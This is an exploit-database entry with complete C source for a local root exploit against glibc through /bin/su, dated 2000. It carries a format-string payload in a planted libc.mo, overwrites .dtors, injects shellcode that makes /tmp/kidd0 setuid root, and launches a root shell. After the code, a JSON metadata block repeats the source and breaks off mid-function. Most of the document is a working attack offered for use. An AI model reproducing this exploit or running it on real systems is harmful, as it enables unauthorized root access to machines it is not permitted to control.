ID 1337DAY-ID-7262
Type zdt
Reporter localcore
Modified 2000-11-30T00:00:00
Description
Exploit for linux platform in category local exploits
======================================
GLIBC (via /bin/su) Local Root Exploit
======================================
/*
*
* Working exploit for glibc executing /bin/su
*
* To exploit this i have used a technique that
* overwrites the .dtors section of /bin/su program
* with the address of the shellcode, so, the program
* executes it when main returns or exit() is called
*
* Thanks a lot to rwxrwxrwx <[email protected]> for
* explaining me this technique :)
*
* The address of .dtors section can be easily obtained
* with objdump -h filename.
*
* One the address of .dtors is known, the shellcode is
* pushed in a env var with a lot of nops, and the size
* of the "piece" of stack that must be "eaten" is calculated
* with a loop. At this point, we know the exact values of
* all parameters exept the address of the shellcode, but this
* value can be guessed with a little work :)
*
* Tested on: Red Hat 6.2, 6.1
* SuSE 6.2
*
* Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY...
* (y todos los que me olvido)
*
*
* Doing / localcore - [email protected]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>
char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0";
char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;
char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;
char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();
int main(int argc, char **argv)
{
char execbuf[1024];
unsigned long dtors_addr = 0xAABBCCDD;
unsigned long sh_addr = 0xBFFFFFFF;
FILE *f;
char *env[3];
char *args[6];
int eat = 0, pad = 0, fd;
char *nop_env;
int offset = 5000;
struct stat st;
int pid, c;
char randfile[1024];
char *args2[2], opt;
printf("glibc xploit for /bin/su - by Doing <[email protected]>\n");
printf("Usage: %s [options]\n", argv[0]);
printf(" -o offset [default: 5000]\n");
printf(" -n nops [default: 12000]\n");
printf(" -m path to msgfmt [default: /usr/bin/msgfmt]\n");
printf(" -O path to objdump [default: /usr/bin/objdump]\n");
printf(" -e eat:pad set eat and pad values [default: calculate
them]\n");
printf(" -l language set language used in env var [default: search
it]\n");
printf("Enjoy!\n\n");
while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
switch(opt) {
case 'o':
offset = atoi(optarg);
break;
case 'n':
NOP_LEN = atoi(optarg);
break;
case 'm':
msgfmt = strdup(optarg);
break;
case 'O':
objdump = strdup(optarg);
break;
case 'e':
sscanf(optarg, "%i:%i", &eat, &pad);
break;
case 'l':
language = (char*) malloc(40 + strlen(optarg));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(optarg));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
break;
default:
exit(0);
}
printf("Phase 1. Checking paths and write permisions\n");
printf(" Checking for %s...", msgfmt);
checkfor(msgfmt);
printf(" Checking for %s...", objdump);
checkfor(objdump);
printf(" Checking write permisions on /tmp...");
if (stat("/tmp", &st) < 0) {
printf("failed. cannot stat /tmp\naborting\n");
exit(0);
}
if (!(st.st_mode & S_IWOTH)) {
printf("failed. /tmp it's not +w\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);
printf(" Checking read permisions on /bin/su...");
if (stat("/bin/su", &st) < 0) {
printf("failed. cannot stat /bin/su\naborting\n");
exit(0);
}
if (!(st.st_mode & S_IROTH)) {
printf("failed. /bin/su it's not +r\naborting\n");
exit(0);
}
printf("Ok\n");
fflush(stdout);
if (!language) {
printf(" Checking for a valid language...");
search_valid_language();
printf("Ok\n");
}
printf(" Checking that %s does not exist...", LC_MESSAGES);
if (stat(LC_MESSAGES, &st) >= 0) {
printf("failed. %s exists\naborting\n", LC_MESSAGES);
exit(0);
}
printf("Ok\n");
fflush(stdout);
printf("Phase 2. Calculating eat and pad values\n ");
srand(time(NULL));
if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
else {
calculate_eat_space(&eat, &pad);
printf("done\n eat = %i and pad = %i\n", eat, pad);
}
fflush(stdout);
sh_addr -= offset;
printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
fflush(stdout);
mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
fclose(f);
sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
system(execbuf);
nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);
env[0] = language;
env[1] = NULL;
printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
dtors_addr = get_dtors_addr();
printf("done\n .dtors is at 0x%08x\n", dtors_addr);
fflush(stdout);
printf("Phase 5. Compiling suid shell\n");
fflush(stdout);
make_suid_shell();
printf("Phase 6. Executing /bin/su\n");
fflush(stdout);
args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(dtors_addr, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
sprintf(randfile, "/tmp/tmprand%i", rand());
if (!(pid = fork())) {
close(1);
close(2);
fd = open(randfile, O_CREAT | O_RDWR);
dup2(fd, 1);
dup2(fd, 2);
execve(args[0], args, env);
printf("failed to exec /bin/su\n"); exit(0);
}
if (pid < 0) {
perror("fork()");
exit(0);
}
waitpid(pid, &c, 0);
unlink(randfile);
stat("/tmp/kidd0", &st);
if (!(S_ISUID & st.st_mode)) {
printf("failed to put mode 4777 to /tmp/kidd0\naborting\n");
exit(0);
}
printf(" - Entering rootshell ;-) -\n");
fflush(stdout);
if (!(pid = fork())) {
args2[0] = "/tmp/kidd0";
args2[1] = NULL;
execve(args2[0], args2, NULL);
printf("failed to exec /tmp/kidd0\n");
exit(0);
}
if (pid < 0) {
perror("fork()");
exit(0);
}
waitpid(pid, &c, 0);
printf("Phase 7. Cleaning enviroment\n");
sprintf(execbuf, "rm -rf %s /tmp/kidd0", LC_MESSAGES);
system(execbuf);
}
char ret_make_format[0xffff];
char *make_format_string(unsigned long sh_addr, int eat, int test)
{
char *ret = ret_make_format;
int c, waste;
int hi, lo;
memset(ret, 0, 0xffff);
for (c = 0; c < eat; c++) strcat(ret, "%8x");
waste = 8 * eat;
hi = (sh_addr & 0xffff0000) >> 16;
lo = (sh_addr & 0xffff) - hi;
if (!test) {
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
}
else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
return ret;
}
unsigned long get_dtors_addr()
{
char exec_buf[1024];
char file[128];
char buf[1024], sect[1024];
FILE *f;
unsigned long ret = 0, tmp1, tmp2, tmp3;
sprintf(file, "/tmp/tmprand%i", rand());
sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);
system(exec_buf);
f = fopen(file, "r");
if (!f) {
perror("fopen()");
exit(0);
}
while (!feof(f)) {
fgets(buf, 1024, f);
sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
printf("."); fflush(stdout);
if (strcmp(sect, "dtors")) continue;
ret = tmp3;
break;
}
unlink(file);
if (!ret) {
printf("error getting the address of .dtors\naborting");
exit(0);
}
return ret+4;
}
char ret_make_ret_str[0xffff];
char *make_ret_str(unsigned long dtors_addr, int pad)
{
char *ret = ret_make_ret_str, *ptr2;
unsigned long *ptr = (unsigned long*) ret;
int c;
memset(ret, 0, 0xffff);
*ptr = dtors_addr+2;
*(ptr+1) = 0xAABBCCDD;
*(ptr+2) = dtors_addr;
ptr2 = &ret[strlen(ret)];
while (pad--)
*(ptr2++) = 0xaa;
return ret;
}
void calculate_eat_space(int *eatr, int *padr)
{
int eat = 0, pad = 0;
char tmpfile[128];
FILE *f;
char execbuf[1024];
int fds[2], tmpfd;
unsigned long test_value = 0xAABBCCDD;
char *nop_env;
char *env[2];
char *args[6];
char buf[1024];
int l, pid;
struct stat st;
char *readbuf = NULL, *token;
unsigned long t1, t2;
tmpfile[0] = '\0';
nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);
for (eat = 50; eat < 200; eat++) {
for (pad = 0; pad < 4; pad++) {
if (tmpfile[0]) unlink(tmpfile);
chdir("/");
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
f = fopen("libc.po", "w+");
if (!f) {
perror("fopen()");
exit(0);
}
fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,
1));
fclose(f);
sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",
msgfmt);
system(execbuf);
pipe(&fds);
if (!(pid = fork())) {
close(fds[0]);
close(1);
close(2);
dup2(fds[1], 1);
dup2(fds[1], 2);
env[0] = language;
env[1] = NULL;
args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(test_value, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;
execve(args[0], args, env);
}
if (pid < 0) {
perror("fork()");
exit(0);
}
close(fds[1]);
sprintf(tmpfile, "/tmp/tmprand%i", rand());
tmpfd = open(tmpfile, O_RDWR | O_CREAT);
if (tmpfd < 0) {
perror("open()");
exit(0);
}
while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
close(tmpfd);
waitpid(pid, &l, 0);
stat(tmpfile, &st);
chmod(tmpfile, 0777);
f = fopen(tmpfile, "r");
if (!f) {
perror("fopen()");
exit(0);
}
if (readbuf) free(readbuf);
readbuf = (char*) malloc(st.st_size);
if (!readbuf) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(readbuf, 0, st.st_size);
fread(readbuf, 1, st.st_size, f);
fclose(f);
token = strtok(readbuf, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
t1 = strtoul(token, NULL, 16);
token = strtok(NULL, "*");
if (!token) continue;
token = strtok(NULL, "*");
if (!token) continue;
t2 = strtoul(token, NULL, 16);
if (t2 == test_value)
if (t1 == (test_value+2)) {
*eatr = eat;
*padr = pad;
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
if (tmpfile[0]) unlink(tmpfile);
return;
}
// sleep(10);
}
printf(".");
fflush(stdout);
}
if (tmpfile[0]) unlink(tmpfile);
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
system(execbuf);
printf("failed to calculate eat and pad values. glibc patched or
invalid language?\naborting\n");
exit(0);
}
void checkfor(char *p)
{
int fd;
fd = open(p, O_RDONLY);
if (fd < 0) {
printf("failed\naborting\n");
exit(0);
}
close(fd);
printf("Ok\n");
fflush(stdout);
}
void make_suid_shell()
{
FILE *f;
char execbuf[1024];
f = fopen("/tmp/kidd0.c", "w");
if (!f) {
printf(" failed to create /tmp/kidd0.c\naborting\n");
exit(0);
}
fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");
}");
fclose(f);
sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
system(execbuf);
sprintf(execbuf, "rm -f /tmp/kidd0.c");
system(execbuf);
f = fopen("/tmp/kidd0", "r");
if (!f) {
printf(" failed to compile /tmp/kidd0.c\naborting\n");
exit(0);
}
fclose(f);
printf(" /tmp/kidd0 created Ok\n");
fflush(stdout);
}
void search_valid_language()
{
DIR *locale;
struct dirent *dentry;
locale = opendir("/usr/share/locale");
if (!locale) {
perror("failed to opendir /usr/share/locale");
printf("aborting\n");
exit(0);
}
while (dentry = readdir(locale)) {
if (!strchr(dentry->d_name, '_')) continue;
language = (char*) malloc(40 + strlen(dentry->d_name));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(dentry->d_name));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp",
dentry->d_name);
closedir(locale);
printf(" [using %s] ", dentry->d_name);
return;
}
printf("failed to find a valid language\naborting\n");
exit(0);
}
# 0day.today [2018-04-05] #
{"id": "1337DAY-ID-7262", "bulletinFamily": "exploit", "title": "GLIBC (via /bin/su) Local Root Exploit ", "description": "Exploit for linux platform in category local exploits", "published": "2000-11-30T00:00:00", "modified": "2000-11-30T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://0day.today/exploit/description/7262", "reporter": "localcore", "references": [], "cvelist": [], "type": "zdt", "lastseen": "2018-04-05T23:49:06", "history": [{"bulletin": {"bulletinFamily": "exploit", "cvelist": [], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for linux platform in category local exploits", "edition": 1, "enchantments": {"score": {"modified": "2016-04-20T01:45:35", "value": 2.8, "vector": "AV:N/AC:M/Au:M/C:N/I:N/A:P/"}}, "hash": "715f640cb0625cdf42feb249fe3948a27963dcdeb220e6309b4817acb1ae7987", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "4704fd2338c58a498ff116944bf53ef9", "key": "published"}, {"hash": "8f9d98c73ce177fc9abbf5d8f18aa3d3", "key": "sourceHref"}, {"hash": "4704fd2338c58a498ff116944bf53ef9", "key": "modified"}, {"hash": "8be7a8b03e0d0b6e92b55fa1f40b9528", "key": "description"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "22916383f146a4f98190f6eb284558ff", "key": "sourceData"}, {"hash": "746b01967143334176e7ac67369145e7", "key": "reporter"}, {"hash": "c226541ad1f4ecfee22f365bda527f75", "key": "href"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "f22a0fe0e3c6e4e659fa61a935c01c2b", "key": "title"}], "history": [], "href": "http://0day.today/exploit/description/7262", "id": "1337DAY-ID-7262", "lastseen": "2016-04-20T01:45:35", "modified": "2000-11-30T00:00:00", "objectVersion": "1.0", "published": "2000-11-30T00:00:00", "references": [], "reporter": "localcore", "sourceData": "======================================\r\nGLIBC (via /bin/su) Local Root Exploit \r\n======================================\r\n\r\n/*\r\n *\r\n * Working exploit for glibc executing /bin/su\r\n *\r\n * To exploit this i have used a technique that\r\n * overwrites the .dtors section of /bin/su program\r\n * with the address of the shellcode, so, the program\r\n * executes it when main returns or exit() is called\r\n *\r\n * Thanks a lot to rwxrwxrwx <jmbr@qualys.com> for\r\n * explaining me this technique :)\r\n *\r\n * The address of .dtors section can be easily obtained\r\n * with objdump -h filename.\r\n *\r\n * One the address of .dtors is known, the shellcode is\r\n * pushed in a env var with a lot of nops, and the size\r\n * of the \"piece\" of stack that must be \"eaten\" is calculated\r\n * with a loop. At this point, we know the exact values of\r\n * all parameters exept the address of the shellcode, but this\r\n * value can be guessed with a little work :)\r\n *\r\n * Tested on: Red Hat 6.2, 6.1\r\n * SuSE 6.2\r\n *\r\n * Thanks to Chui, aViNash, RaiSe, |CoDeX|, YbY...\r\n * (y todos los que me olvido)\r\n *\r\n *\r\n * Doing / localcore - doing@netsearch-ezine.com\r\n *\r\n */\r\n\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <sys/types.h>\r\n#include <sys/stat.h>\r\n#include <fcntl.h>\r\n#include <string.h>\r\n#include <getopt.h>\r\n#include <dirent.h>\r\n\r\nchar *shellcode =\r\n\"\\x31\\xc0\\x83\\xc0\\x17\\x31\\xdb\\xcd\\x80\\xeb\"\r\n\"\\x30\\x5f\\x31\\xc9\\x88\\x4f\\x17\\x88\\x4f\\x1a\"\r\n\"\\x8d\\x5f\\x10\\x89\\x1f\\x8d\\x47\\x18\\x89\\x47\"\r\n\"\\x04\\x8d\\x47\\x1b\\x89\\x47\\x08\\x31\\xc0\\x89\"\r\n\"\\x47\\x0c\\x8d\\x0f\\x8d\\x57\\x0c\\x83\\xc0\\x0b\"\r\n\"\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\"\r\n\"\\xcb\\xff\\xff\\xff\\x41\\x41\\x41\\x41\\x41\\x41\"\r\n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\r\n\"\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x30\\x2d\\x63\"\r\n\"\\x30\"\r\n\"chown root /tmp/kidd0;chmod 4777 /tmp/kidd0\";\r\n\r\nchar *LC_MESSAGES = \"/tmp/LC_MESSAGES\";\r\nint NOP_LEN = 12000;\r\n\r\nchar *msgfmt = \"/usr/bin/msgfmt\";\r\nchar *objdump = \"/usr/bin/objdump\";\r\nchar *language = NULL;\r\n\r\nchar *make_format_string(unsigned long, int, int);\r\nunsigned long get_dtors_addr();\r\nchar *make_ret_str(unsigned long, int);\r\nvoid calculate_eat_space(int *, int *);\r\nvoid checkfor(char*);\r\nvoid make_suid_shell();\r\nvoid search_valid_language();\r\n\r\nint main(int argc, char **argv)\r\n{\r\n char execbuf[1024];\r\n unsigned long dtors_addr = 0xAABBCCDD;\r\n unsigned long sh_addr = 0xBFFFFFFF;\r\n FILE *f;\r\n char *env[3];\r\n char *args[6];\r\n int eat = 0, pad = 0, fd;\r\n char *nop_env;\r\n int offset = 5000;\r\n struct stat st;\r\n int pid, c;\r\n char randfile[1024];\r\n char *args2[2], opt;\r\n\r\n printf(\"glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\\n\");\r\n printf(\"Usage: %s [options]\\n\", argv[0]);\r\n printf(\" -o offset [default: 5000]\\n\");\r\n printf(\" -n nops [default: 12000]\\n\");\r\n printf(\" -m path to msgfmt [default: /usr/bin/msgfmt]\\n\");\r\n printf(\" -O path to objdump [default: /usr/bin/objdump]\\n\");\r\n printf(\" -e eat:pad set eat and pad values [default: calculate\r\nthem]\\n\");\r\n printf(\" -l language set language used in env var [default: search\r\nit]\\n\");\r\n printf(\"Enjoy!\\n\\n\");\r\n\r\n while ((opt = getopt(argc, argv, \"o:n:m:O:e:l:\")) != EOF)\r\n switch(opt) {\r\n case 'o':\r\n offset = atoi(optarg);\r\n break;\r\n case 'n':\r\n NOP_LEN = atoi(optarg);\r\n break;\r\n case 'm':\r\n msgfmt = strdup(optarg);\r\n break;\r\n case 'O':\r\n objdump = strdup(optarg);\r\n break;\r\n case 'e':\r\n sscanf(optarg, \"%i:%i\", &eat, &pad);\r\n break;\r\n case 'l':\r\n language = (char*) malloc(40 + strlen(optarg));\r\n if (!language) {\r\n\tprintf(\"malloc failed\\naborting\\n\");\r\n\texit(0);\r\n }\r\n memset(language, 0, 40 + strlen(optarg));\r\n sprintf(language, \"LANGUAGE=%s/../../../../../../tmp\", optarg);\r\n break;\r\n default:\r\n exit(0);\r\n }\r\n\r\n printf(\"Phase 1. Checking paths and write permisions\\n\");\r\n printf(\" Checking for %s...\", msgfmt);\r\n checkfor(msgfmt);\r\n printf(\" Checking for %s...\", objdump);\r\n checkfor(objdump);\r\n\r\n printf(\" Checking write permisions on /tmp...\");\r\n if (stat(\"/tmp\", &st) < 0) {\r\n printf(\"failed. cannot stat /tmp\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n if (!(st.st_mode & S_IWOTH)) {\r\n printf(\"failed. /tmp it's not +w\\naborting\\n\");\r\n exit(0);\r\n }\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n\r\n printf(\" Checking read permisions on /bin/su...\");\r\n if (stat(\"/bin/su\", &st) < 0) {\r\n printf(\"failed. cannot stat /bin/su\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n if (!(st.st_mode & S_IROTH)) {\r\n printf(\"failed. /bin/su it's not +r\\naborting\\n\");\r\n exit(0);\r\n }\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n\r\n if (!language) {\r\n printf(\" Checking for a valid language...\");\r\n search_valid_language();\r\n printf(\"Ok\\n\");\r\n }\r\n\r\n printf(\" Checking that %s does not exist...\", LC_MESSAGES);\r\n if (stat(LC_MESSAGES, &st) >= 0) {\r\n printf(\"failed. %s exists\\naborting\\n\", LC_MESSAGES);\r\n exit(0);\r\n }\r\n printf(\"Ok\\n\");\r\n fflush(stdout);\r\n\r\n printf(\"Phase 2. Calculating eat and pad values\\n \");\r\n srand(time(NULL));\r\n\r\n if (eat || pad) printf(\"skkiping, values set by user to eat = %i and\r\npad = %i\\n\", eat, pad);\r\n else {\r\n calculate_eat_space(&eat, &pad);\r\n printf(\"done\\n eat = %i and pad = %i\\n\", eat, pad);\r\n }\r\n fflush(stdout);\r\n\r\n sh_addr -= offset;\r\n\r\n printf(\"Phase 3. Creating evil libc.mo and setting enviroment\r\nvars\\n\");\r\n fflush(stdout);\r\n\r\n mkdir(LC_MESSAGES, 0755);\r\n chdir(LC_MESSAGES);\r\n\r\n f = fopen(\"libc.po\", \"w+\");\r\n if (!f) {\r\n perror(\"fopen()\");\r\n exit(0);\r\n }\r\n fprintf(f,\"msgid \\\"%%s: invalid option -- %%c\\\\n\\\"\\n\");\r\n fprintf(f,\"msgstr \\\"%s\\\\n\\\"\", make_format_string(sh_addr, eat, 0));\r\n fclose(f);\r\n\r\n sprintf(execbuf, \"%s libc.po -o libc.mo; chmod 777 libc.mo\", msgfmt);\r\n system(execbuf);\r\n\r\n nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);\r\n if (!nop_env) {\r\n printf(\"malloc failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);\r\n sprintf(&nop_env[NOP_LEN], \"%s\", shellcode);\r\n\r\n env[0] = language;\r\n env[1] = NULL;\r\n\r\n printf(\"Phase 4. Getting address of .dtors section of /bin/su\\n \");\r\n dtors_addr = get_dtors_addr();\r\n printf(\"done\\n .dtors is at 0x%08x\\n\", dtors_addr);\r\n fflush(stdout);\r\n\r\n printf(\"Phase 5. Compiling suid shell\\n\");\r\n fflush(stdout);\r\n\r\n make_suid_shell();\r\n\r\n printf(\"Phase 6. Executing /bin/su\\n\");\r\n fflush(stdout);\r\n\r\n args[0] = \"/bin/su\";\r\n args[1] = \"-\";\r\n args[2] = make_ret_str(dtors_addr, pad);\r\n args[3] = \"-w\";\r\n args[4] = nop_env;\r\n args[5] = NULL;\r\n\r\n sprintf(randfile, \"/tmp/tmprand%i\", rand());\r\n\r\n if (!(pid = fork())) {\r\n close(1);\r\n close(2);\r\n fd = open(randfile, O_CREAT | O_RDWR);\r\n dup2(fd, 1);\r\n dup2(fd, 2);\r\n execve(args[0], args, env);\r\n printf(\"failed to exec /bin/su\\n\"); exit(0);\r\n }\r\n\r\n if (pid < 0) {\r\n perror(\"fork()\");\r\n exit(0);\r\n }\r\n\r\n waitpid(pid, &c, 0);\r\n\r\n unlink(randfile);\r\n\r\n stat(\"/tmp/kidd0\", &st);\r\n if (!(S_ISUID & st.st_mode)) {\r\n printf(\"failed to put mode 4777 to /tmp/kidd0\\naborting\\n\");\r\n exit(0);\r\n }\r\n\r\n printf(\" - Entering rootshell ;-) -\\n\");\r\n fflush(stdout);\r\n\r\n if (!(pid = fork())) {\r\n args2[0] = \"/tmp/kidd0\";\r\n args2[1] = NULL;\r\n execve(args2[0], args2, NULL);\r\n printf(\"failed to exec /tmp/kidd0\\n\");\r\n exit(0);\r\n }\r\n\r\n if (pid < 0) {\r\n perror(\"fork()\");\r\n exit(0);\r\n }\r\n\r\n waitpid(pid, &c, 0);\r\n\r\n printf(\"Phase 7. Cleaning enviroment\\n\");\r\n sprintf(execbuf, \"rm -rf %s /tmp/kidd0\", LC_MESSAGES);\r\n system(execbuf);\r\n}\r\n\r\nchar ret_make_format[0xffff];\r\n\r\nchar *make_format_string(unsigned long sh_addr, int eat, int test)\r\n{\r\n char *ret = ret_make_format;\r\n int c, waste;\r\n int hi, lo;\r\n\r\n memset(ret, 0, 0xffff);\r\n\r\n for (c = 0; c < eat; c++) strcat(ret, \"%8x\");\r\n\r\n waste = 8 * eat;\r\n\r\n hi = (sh_addr & 0xffff0000) >> 16;\r\n lo = (sh_addr & 0xffff) - hi;\r\n if (!test) {\r\n sprintf(&ret[strlen(ret)], \"%%0%ux%%hn\", hi-waste);\r\n sprintf(&ret[strlen(ret)], \"%%0%ux%%hn\", lo);\r\n }\r\n else strcat(ret, \"%8x *0x%08x* %8x *0x%08x*\");\r\n return ret;\r\n}\r\n\r\nunsigned long get_dtors_addr()\r\n{\r\n char exec_buf[1024];\r\n char file[128];\r\n char buf[1024], sect[1024];\r\n FILE *f;\r\n unsigned long ret = 0, tmp1, tmp2, tmp3;\r\n\r\n sprintf(file, \"/tmp/tmprand%i\", rand());\r\n sprintf(exec_buf, \"%s -h /bin/su > %s\", objdump, file);\r\n\r\n system(exec_buf);\r\n\r\n f = fopen(file, \"r\");\r\n if (!f) {\r\n perror(\"fopen()\");\r\n exit(0);\r\n }\r\n\r\n while (!feof(f)) {\r\n fgets(buf, 1024, f);\r\n sscanf(buf, \" %i .%s %x %x \\n\", &tmp1, sect, &tmp2, &tmp3);\r\n printf(\".\"); fflush(stdout);\r\n if (strcmp(sect, \"dtors\")) continue;\r\n ret = tmp3;\r\n break;\r\n }\r\n\r\n unlink(file);\r\n\r\n if (!ret) {\r\n printf(\"error getting the address of .dtors\\naborting\");\r\n exit(0);\r\n }\r\n\r\n return ret+4;\r\n}\r\n\r\nchar ret_make_ret_str[0xffff];\r\n\r\nchar *make_ret_str(unsigned long dtors_addr, int pad)\r\n{\r\n char *ret = ret_make_ret_str, *ptr2;\r\n unsigned long *ptr = (unsigned long*) ret;\r\n int c;\r\n\r\n memset(ret, 0, 0xffff);\r\n\r\n *ptr = dtors_addr+2;\r\n *(ptr+1) = 0xAABBCCDD;\r\n *(ptr+2) = dtors_addr;\r\n\r\n ptr2 = &ret[strlen(ret)];\r\n while (pad--)\r\n *(ptr2++) = 0xaa;\r\n\r\n return ret;\r\n}\r\n\r\nvoid calculate_eat_space(int *eatr, int *padr)\r\n{\r\n int eat = 0, pad = 0;\r\n char tmpfile[128];\r\n FILE *f;\r\n char execbuf[1024];\r\n int fds[2], tmpfd;\r\n unsigned long test_value = 0xAABBCCDD;\r\n char *nop_env;\r\n char *env[2];\r\n char *args[6];\r\n char buf[1024];\r\n int l, pid;\r\n struct stat st;\r\n char *readbuf = NULL, *token;\r\n unsigned long t1, t2;\r\n\r\n tmpfile[0] = '\\0';\r\n\r\n nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);\r\n if (!nop_env) {\r\n printf(\"malloc failed\\naborting\\n\");\r\n exit(0);\r\n }\r\n memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);\r\n sprintf(&nop_env[NOP_LEN], \"%s\", shellcode);\r\n\r\n for (eat = 50; eat < 200; eat++) {\r\n for (pad = 0; pad < 4; pad++) {\r\n\r\n if (tmpfile[0]) unlink(tmpfile);\r\n\r\n chdir(\"/\");\r\n\r\n sprintf(execbuf, \"rm -rf %s\", LC_MESSAGES);\r\n system(execbuf);\r\n\r\n mkdir(LC_MESSAGES, 0755);\r\n chdir(LC_MESSAGES);\r\n\r\n f = fopen(\"libc.po\", \"w+\");\r\n if (!f) {\r\n\tperror(\"fopen()\");\r\n\texit(0);\r\n }\r\n\r\n fprintf(f,\"msgid \\\"%%s: invalid option -- %%c\\\\n\\\"\\n\");\r\n fprintf(f,\"msgstr \\\"%s\\\\n\\\"\", make_format_string(0xbfffffbb, eat,\r\n1));\r\n fclose(f);\r\n\r\n sprintf(execbuf, \"chmod 777 libc.po; %s libc.po -o libc.mo\",\r\nmsgfmt);\r\n system(execbuf);\r\n\r\n pipe(&fds);\r\n\r\n if (!(pid = fork())) {\r\n\r\n\tclose(fds[0]);\r\n\tclose(1);\r\n\tclose(2);\r\n\r\n\tdup2(fds[1], 1);\r\n\tdup2(fds[1], 2);\r\n\r\n\tenv[0] = language;\r\n\tenv[1] = NULL;\r\n\r\n\targs[0] = \"/bin/su\";\r\n\targs[1] = \"-\";\r\n\targs[2] = make_ret_str(test_value, pad);\r\n\targs[3] = \"-w\";\r\n\targs[4] = nop_env;\r\n\targs[5] = NULL;\r\n\r\n\texecve(args[0], args, env);\r\n }\r\n\r\n if (pid < 0) {\r\n\tperror(\"fork()\");\r\n\texit(0);\r\n }\r\n\r\n close(fds[1]);\r\n\r\n sprintf(tmpfile, \"/tmp/tmprand%i\", rand());\r\n tmpfd = 